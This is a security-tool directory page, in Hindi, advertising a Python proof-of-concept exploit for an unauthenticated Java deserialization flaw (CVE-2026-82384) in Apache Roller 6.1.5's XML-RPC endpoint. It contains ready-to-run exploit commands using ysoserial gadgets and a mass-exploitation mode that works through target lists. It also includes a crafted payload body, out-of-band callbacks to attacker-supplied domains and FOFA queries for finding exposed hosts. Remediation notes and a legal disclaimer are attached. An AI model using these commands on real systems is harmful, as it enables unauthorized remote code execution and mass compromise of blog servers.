Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-82384 — CVE-2026-82384 के लिए Python PoC: ysoserial पेलोड के माध्यम से Apache Roller 6.1.5 में अनधिकृत XML-RPC Java डीसेरियलाइज़ेशन का पता लगाता और शोषण करता है, साथ ही बल्क स्कैनिंग की सुविधा देता है। | Kitploit
उपकरण/GitHubGitHub/murrez/cve-2026-82384
टोहीपेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणजानकारी एकत्र करनापेनिट्रेशन टेस्टिंगरिमोट एक्सेस टूल
GitHubmurrez/cve-2026-82384

CVE-2026-82384

CVE-2026-82384 के लिए Python PoC: ysoserial पेलोड के माध्यम से Apache Roller 6.1.5 में अनधिकृत XML-RPC Java डीसेरियलाइज़ेशन का पता लगाता और शोषण करता है, साथ ही बल्क स्कैनिंग की सुविधा देता है।

121 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें

CVE-2026-82384 — Apache Roller 6.1.5 XML-RPC डीसेरियलाइज़ेशन

CVE-2026-82384 के लिए Python 3 PoC — लेगेसी XML-RPC सर्वलेट पर Apache Roller 6.1.5 का अनधिकृत Java डीसेरियलाइज़ेशन।

PoC पेज: https://pocbit.org/pocs/cve-2026-82384


Apache Roller क्या है?

Apache Roller एक Java-आधारित, बहु-उपयोगकर्ता ब्लॉग सर्वर है (ऐतिहासिक रूप से "Roller Weblogger")। डिप्लॉयमेंट आमतौर पर Tomcat WAR होते हैं जिनमें /roller-ui/ के अंतर्गत एक UI और /roller-services/xmlrpc पर XML-RPC के माध्यम से लेगेसी Blogger / MetaWeblog API होते हैं। Roller 6.1.5 (सितंबर 2025) ने एक असंबंधित सत्र समस्या (CVE-2025-24859) को ठीक किया, लेकिन इस CVE के लिए XML-RPC स्टैक को एक खतरनाक कॉन्फ़िगरेशन में छोड़ दिया।


सरल भाषा में भेद्यता

CVE-2026-82384 XML-RPC एंडपॉइंट पर अविश्वसनीय डेटा का डीसेरियलाइज़ेशन (CWE-502) है:

  1. Roller का XmlRpcServlet enabledForExtensions=true के साथ कॉन्फ़िगर किया गया है, इसलिए Apache ws-xmlrpc लाइब्रेरी वेंडर एक्सटेंशन प्रकार स्वीकार करती है, जिनमें ex:serializable शामिल है — एक base64-एन्कोडेड Java सीरियलाइज़्ड ऑब्जेक्ट।
  2. वह पार्सिंग HTTP अनुरोध हैंडलिंग के दौरान, Blogger/MetaWeblog प्रमाणीकरण का मूल्यांकन होने से पहले चलती है।
  3. सर्वलेट मैपिंग web.xml में हमेशा मौजूद रहती है, इसलिए पार्सर तब भी चलता है जब प्रशासक Roller सेटिंग्स में XML-RPC अक्षम कर देते हैं (webservices.enableXmlRpc=false)। UI में सुविधा अक्षम करना 6.1.5 पर इस प्री-ऑथ पथ को बंद नहीं करता।
  4. एक दूरस्थ हमलावर एक तैयार किया गया XML-RPC बॉडी भेजता है; सर्वर हमलावर के बाइट्स को डीसेरियलाइज़ करता है → JVM में रिमोट कोड निष्पादन (ws-xmlrpc / Archiva में ऐतिहासिक CVE-2016-5003 जैसी ही श्रेणी का बग)।

प्रभावित: केवल Apache Roller 6.1.5 (वेंडर सलाह के अनुसार)।
ठीक किया गया: Apache Roller 6.1.6+ (PR #171): enabledForExtensions=false, और जब XML-RPC वैश्विक रूप से अक्षम हो तो अनुरोध अस्वीकार किए जाते हैं।

मीट्रिकमान
CVSS 3.19.8 क्रिटिकल — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
प्रमाणीकरणडीसेरियलाइज़ेशन प्रिमिटिव के लिए कोई नहीं
खोजकर्ताn0mi1k
वेंडरApache Software Foundation

हमला सतह

आइटमविवरण
एंडपॉइंटPOST /roller-services/xmlrpc (यह भी आज़माएँ /roller/roller-services/xmlrpc)
Content-Typetext/xml
ट्रिगरmethodCall के अंदर <ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">BASE64</ex:serializable>
गैजेट चेनक्लासपाथ पर निर्भर (Commons Collections, आदि); अक्सर ysoserial से उत्पन्न
प्रभावTomcat/Roller OS उपयोगकर्ता के रूप में RCE; आमतौर पर ब्लॉग डेटा पर पूर्ण नियंत्रण और होस्ट पिवट

यह PoC क्या करता है

मोडव्यवहार
checkRoller फिंगरप्रिंट ढूँढता है, XML-RPC URL का पता लगाता है, वैकल्पिक --probe-deser ( ex:serializable प्रोब बाइट्स भेजता है)
exploitआपका सीरियलाइज़्ड पेलोड पोस्ट करता है (फ़ाइल, base64, या --ysoserial-jar के माध्यम से ysoserial)
Mass--list targets.txt --mode exploit -j N — JSONL + exploited.txt के साथ समानांतर बल्क

PoCbit फ़ील्ड: प्रत्येक JSONL पंक्ति पर pocbit, pocbit_catalog, pocbit_page।
CLI: रंगीन बैनर, [HIT] / [EXPLOIT] / [FAIL] पंक्तियाँ (--no-color से अक्षम करें)।

यह रिपॉज़िटरी लाइव RCE गैजेट चेन नहीं भेजती (क्लासपाथ-निर्भर)। वास्तविक शोषण के लिए, ysoserial आउटपुट या एक सत्यापित पेलोड फ़ाइल प्रदान करें।


आवश्यकताएँ

pip install -r requirements.txt

RCE के लिए (केवल डिटेक्शन नहीं):

  • Java + हमलावर मशीन पर ysoserial JAR
  • उदाहरण गैजेट: URLDNS (out-of-band प्रमाण), CommonsCollections6 (सामान्य Roller classpath पर कमांड निष्पादन — पहले लैब में सत्यापित करें)

उपयोग

डिटेक्शन

python poc.py -u https://blog.example.com --mode check
python poc.py -u https://blog.example.com --mode check --probe-deser
python poc.py --list targets.example.txt --mode check -j 12

एक्सप्लॉइट (एकल लक्ष्य)

# OOB DNS proof (replace with your collaborator)
python poc.py -u https://blog.example.com --mode exploit \
  --ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
  --ysoserial-cmd pocbit.your-oast.domain

# Pre-generated base64 payload file
python poc.py -u https://blog.example.com --mode exploit --payload-file chain.b64

# Raw ysoserial bytes on disk
python poc.py -u https://blog.example.com --mode exploit --payload-file payload.bin

सामूहिक बल्क एक्सप्लॉइट

python poc.py --list targets.txt --mode exploit \
  --ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
  --ysoserial-cmd oast.example.com -j 10

आउटपुट:

  • cve_2026_82384_exploit.jsonl — प्रति-लक्ष्य JSON
  • exploited.txt — वे लक्ष्य जहाँ पेलोड स्वीकार किया गया / OOB भेजा गया

नमूना XML-RPC आकार (शैक्षिक)

<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>system.listMethods</methodName>
  <params>
    <param>
      <value>
        <ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">
          BASE64_JAVA_SERIALIZED_OBJECT
        </ex:serializable>
      </value>
    </param>
  </params>
</methodCall>

6.1.5 पर, इस बॉडी को पार्स करने से किसी भी मेथड हैंडलर के क्रेडेंशियल्स लागू करने से पहले डीसेरियलाइज़ हो सकता है।


उपचार

  1. तुरंत Roller 6.1.6+ में अपग्रेड करें।
  2. पैच होने तक: रिवर्स प्रॉक्सी / WAF पर /roller-services/xmlrpc को ब्लॉक करें (केवल एडमिन IPs को allowlist करें)।
  3. इन्वेंटरी: Apache Roller, /roller-ui/, पोर्ट 8080/8443 ब्लॉग होस्ट खोजें।
  4. संबंधित समान-रिलीज़ समस्याएँ: CVE-2026-82377 (XML-RPC authz), CVE-2026-82386 (bookmark import में XXE) — ये भी 6.1.6 में ठीक किए गए हैं।

FOFA / hunting (उदाहरण)

body="Apache Roller"
body="/roller-ui/"
body="/roller-services/xmlrpc"
title="Roller"

पाद लेख, about पृष्ठ, या WEB-INF / रिलीज़ नोट्स से संस्करण 6.1.5 की पुष्टि करें, इससे पहले कि इसे शोषणीय माना जाए।


कानूनी

केवल उन सिस्टमों पर उपयोग करें जिनका परीक्षण करने के लिए आप अधिकृत हैं। डीसेरियलाइज़ेशन एक्सप्लॉइट्स डेटा नष्ट कर सकते हैं और दुरुपयोग किए जाने पर कानून का उल्लंघन कर सकते हैं।

टूल डाउनलोड करें